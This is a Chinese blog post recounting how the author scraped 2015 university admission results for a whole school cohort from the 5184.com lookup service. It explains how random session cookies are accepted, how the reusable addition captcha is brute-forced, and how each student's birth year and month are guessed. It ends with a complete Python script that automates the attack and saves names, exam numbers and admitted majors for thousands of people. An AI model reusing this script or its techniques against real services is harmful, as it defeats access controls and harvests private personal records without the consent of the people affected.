前言
放假之前就一直想写个程序把母校的15届考生录取情况抓下来,可惜一直等也没有等到好(jian dan)的网站入口出现,所以只好硬着头皮去挑战5184…
开始
第一步!手动打开 “http://www.5184.com/gk“,发现:
要点击一下才能弹出输入框(然并卵)。
有验证码,验证码还有干扰线!
还有cookie!还是三个!看起来都很乱!
查询之后抓到的包,返回了json数据,还好都是明文传输。
第二步!模拟打开页面。发现:
获取不了cookie!
怀疑会不会是用的库不对,把urllib换成了requests。
还是不能抓到cookie…
#-*- coding: utf-8 -*-
import requests
res = requests.get('http://www.5184.com/gk/')
print res.cookies
cookie
和渊同学交流许久后,两人都开始怀疑人生。
不一会儿渊同学发现一个提问里说到,Hm开头的cookie是百度广告的…我再看一下resource里确实是baidu.com的域…也就是说可以复制粘贴。
之后为了验证剩下的一个cookie“PHPSESSID”是否有用,就抓到切换验证码发的包,用浏览器在另一个标签再发一次。
也就是说,当前页面的验证码是没有变化的,比如原来是0+8=,现在还是显示0+8=,但服务器后台已经收到了我切换验证码的请求,并且给了我新的验证码图片,假设为2+3=。
如果cookie“PHPSESSID”是有效的,那么我的cookie已经和新的验证码绑定了,那么我如果要查询,就要输入新的验证码5。
测试结果发现确实和cookie“PHPSESSID”绑定了,是有用的cookie。
但是,它却获取不了…
无数只羊驼奔腾而过…那我就用现有的cookie试试发包。
使用requests的get函数的cookies参数,把抓包里的cookie都复制进去,然后获取验证码,人眼识别后模拟发包…
成功了!会不会是因为浏览器的页面还开着,那个cookie还没有过期?那这样要做出来不就不能推广了?毕竟看cookie不是谁都想做的…
想着想着我把代码里的cookie“PHPSESSID”删了一个字符…
再run一下…竟然…还是post 200了!!
原来…5184的cookie验证是随机生成一个cookie,并且没有后台注册!
也就是说,只要cookie没有什么奇怪的符号,并且获取验证码时的cookie和post时的cookie相同就可以了!
发现这一点之后…5184在我心目中神圣的形象瞬间崩塌,现在能维护它最后的尊严的就只有验证码了吧…
验证码
咳咳…我们来看看5184的验证码:
5184验证码地址
(这个验证码图片我直接给了个5184的链接…竟然也能显示…这后台做得是有多…)
咳咳,严肃一点来分析这个验证码。
1. 两个数字相加
2. 有干扰线
3. 有噪点
4. 对比度较高
综上,可以使用降噪,去除干扰线再识别的方法。
处理后的验证码图片长这样:
有部分粘连,有部分干扰线没有去除…
直接使用库识别的识别率不高…
把验证码放一边
突然想到,如果已经通过了验证(人眼识别验证码),那么可以发几次post查询呢?我在原有的一次post查询上加了新的一次,另一个人的post查询。
结果…成功了!5184的验证码不是一次性的…
(5184又默默地打了自己的脸一下…)
那好,验证码识别率低,那就人眼识别呗,反正能够多次用。
至于出生年月嘛…既然验证码可以重复用,那就可以暴力破解啦。
于是我把几百个考号放到列表里,手动输入验证码后开始跑了起来。刚开始的几十个人都跑出了结果,但是……突然连接被中断!requests报错“connection aborted”。
我的IP被封了吗?还是cookie被封了?
再次重启程序,没有更改cookie,更没有换IP…还是…继续跑了起来…
可能这就是5184的杀手锏吧…一个验证码只能用约500次post…
(后来实验发现有几千次的…可能是看运气吧…)
每个人暴力破解生日平均有近30次,也就是说每次手动输入验证码,就只能获取约20个人的录取情况。
这怎么行!一个年级有2000+人,难道要我手动输入100多次验证码吗?还要时时刻刻盯着看它几时崩…?
看来验证码这关一定要破了。
破解验证码
咳咳…可能已经被发现,小标题并不是“识别验证码”,而是“破解验证码”…
没错…又是一个漏洞…
首先:
1. 5184的cookie不会自动更换,没有后台注册。
2. 验证码与cookie绑定。
3. 验证码更换是前端做的事,比如说浏览器查询时,信息错误,后台只是将页面返回到查询页面,然后前端再发送更换验证码的请求。
综上我们能得到什么呢?程序模拟的时候没有前端啊!!验证码错了它也不会刷新啊!!
又只是一位数加一位数的加法呀!!就在 【0,18】 里取值而已啊!!最多不超过19次尝试啊!!
说完了,动手一试。
用已知的考号当作测试验证码的正确性的工具(控制变量法…),随机一个cookie,获取验证码之后开始暴力破解。
破解成功后存起来,开始查询录取信息。
简单吧?之后还是会有几十次查询结果后链接中断的情况出现。于是加了一个自动重生功能…崩了之后记录最后查询的考号,然后重生…随机新的cookie,新的验证码,暴力破解新的验证码,然后从断点继续查询…
昨晚散步前放它跑着,回来就把母校的跑完了…
咳咳…5184的验证码只要做成一次性的…那情况就大有不同咯。
最后贴个代码:
#-*- coding: utf-8 -*-
import requests,time,random
class GetData(object):
#传入三个文件名,分别是所有考号的列表,没有查询到结果的列表,和已经完成的列表。
#其中第一个是输入,其他两个作为输出,续写模式。
def __init__(self, NumFile, NotDoneFile, DoneFile, LastOne=None):
#随机一个cookie
self.randomCookie()
#从文件中读出考号,存到list里
self.numberls = list()
f = open(NumFile)
for item in f.readlines():
self.numberls.append(item.strip())
f.close()
#存下输出文件的名字,之后打开用
self.NotDoneFileName = NotDoneFile
self.DoneFileName = DoneFile
#标记某个考生已经查询到结果
self.flag = False
#记录最后一个查询的考号,崩溃时重生用
self.lastOne = str(LastOne)
#验证码结果
self.code = None
#崩溃时把最后一个考号存起来,以防万一...
def __del__(self):
print "DELTET this object!"
f = open('lastOne.txt','wb')
f.write(self.lastOne)
f.close()
#随机一个cookie字符串,并且构造完整的cookies,header
def randomCookie(self):
l = [chr(x) for x in xrange(97,123)] + [chr(x) for x in xrange(48,58)]
cookie = ''.join(random.sample(l,22)).replace(' ','')
print 'Random cookie:',cookie
time.sleep(3)
self.psid = cookie
self.cookies = {
'PHPSESSID': self.psid,\
'Hm_lvt_2be31ff7176cef646e9351788dc99055':'1437108237,1437197089,1437199631,1437541063',\
'Hm_lpvt_2be31ff7176cef646e9351788dc99055':'1437542800',\
}
self.header = {
'Accept':'application/json, text/javascript, */*; q=0.01',\
'Accept-Encoding':'gzip, deflate',\
'Accept-Language':'zh-CN,zh;q=0.8',\
'Connection':'keep-alive',\
'Content-Length':'31',\
'Content-Type':'application/x-www-form-urlencoded',\
'Host':'www.5184.com',\
'Origin':'http://www.5184.com',\
'Referer':'http://www.5184.com/gk/check_lq.html',\
'User-Agent':'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36',\
'X-Requested-With':'XMLHttpRequest',\
'Cookie':'PHPSESSID=%s; Hm_lvt_2be31ff7176cef646e9351788dc99055=1437108237,1437197089,1437199631,1437541063; Hm_lpvt_2be31ff7176cef646e9351788dc99055=1437542800'% self.psid,\
}
return
#刷新验证码
def getCHA(self,name=None):
print 'Getting code pic...'
url = 'http://www.5184.com/gk/common/checkcode.php'
res = requests.get(url,params={'r':'0.3591778995934874'},cookies=self.cookies)
#f = file("%s.jpg"%name,'wb')
#f.write(res.content)
#f.close()
print 'Got code!'
return self.guessCHA()
#暴力破解验证码,(考号被我打码了)
def guessCHA(self):
print "Begin to guess!"
geussUrl = 'http://www.5184.com/gk/common/get_lq_edg.php'
for c in xrange(0,19):
#已知正确的考号、出生年月
guessData = {
'csny':'9**1',\
'zkzh':'140****034',\
'yzm':str(c),\
}
#发包,解码
guessDic = requests.post(geussUrl,data=guessData,headers=self.header,cookies=self.cookies).json()
#分析返回值,有result说明验证码正确。
if 'result' in guessDic:
#存储验证码
self.code = str(c)
print "Got CODE: %s! Ready to RUN!!!" % self.code
time.sleep(3)
return True
print "Guess Fail..."
return False
#开始查询录取信息
def getData(self):
#把已经查询过的考号删掉。
self.numberls = self.numberls[self.numberls.index(self.lastOne):]
#打开输出文件
self.NotDoneFile = open(self.NotDoneFileName,'a')
self.DoneFile = open(self.DoneFileName,'a')
posturl = 'http://www.5184.com/gk/common/get_lq_edg.php'
birthdayYears = ('97', '96', '98', '95')
birthdayMonth = ('01', '02', '03', '04', '05', '06', '07', '08', '09', '10', '11', '12')
#遍历考号列表,每次都存储为最后一个查询的。
for number in self.numberls:
self.flag = False
self.lastOne = number
print 'tyring: %s' % number
#暴力猜测出生年月
for year in birthdayYears:
for month in birthdayMonth:
if self.flag:
continue
postData = {
'csny':year+month,\
'zkzh':number,\
'yzm':self.code,\
}
#尝试发包,如果崩了就返回最后一个考号给主函数。
try:
dic = requests.post(posturl,data=postData,headers=self.header,cookies=self.cookies).json()
except:
self.NotDoneFile.close()
self.DoneFile.close()
return (True,self.lastOne)
#如果查询到了结果就存储
if dic[u'flag']:
try:
dic = dic['result']
print u'~~~ ** Got Data!!! ** ~~~'
self.flag = True
str1 = '%s %s %s\n%s %s\n-------\n' % (dic['xm'],dic['zkzh'],dic['lbm'],dic['zymc'],dic['pcm'])
self.DoneFile.write(str1.encode("utf-8"))
except Exception,e:
print e
#遍历完了都没有结果,说明系统里没有该考生的信息
#存储该考号
if not self.flag:
print "** -- No Data! -- **"
self.NotDoneFile.write(number+'\n')
#关闭文件
self.NotDoneFile.close()
self.DoneFile.close()
#返回给主函数,说明考号列表已经遍历完毕了。
return (False,self.lastOne)
if __name__ == '__main__':
#标记考号列表有没有遍历完
isworking = True
#输入最后一个查询的考号
temLast = raw_input('LastOne is:')
while(isworking):
#构造一个新的对象,开始一轮查询,直到连接被中断
try:
l = GetData('numbers.txt','NotDone.txt','Done.txt')
print "Build a new object!"
l.lastOne = temLast
if l.getCHA():
#存储是否遍历完成和最后一个考号
(isworking,temLast) = l.getData()
else:
#获取验证码失败(没有出现过...)
print 'Got CHA Error!'
continue
try:
temLast = l.lastOne
except:
print "Object was deleted..."
#连接被中断(或其他崩坏),储存最后一个考号,准备下一次重生
except Exception,e:
print "lastOne:", l.lastOne
print e
temLast = l.lastOne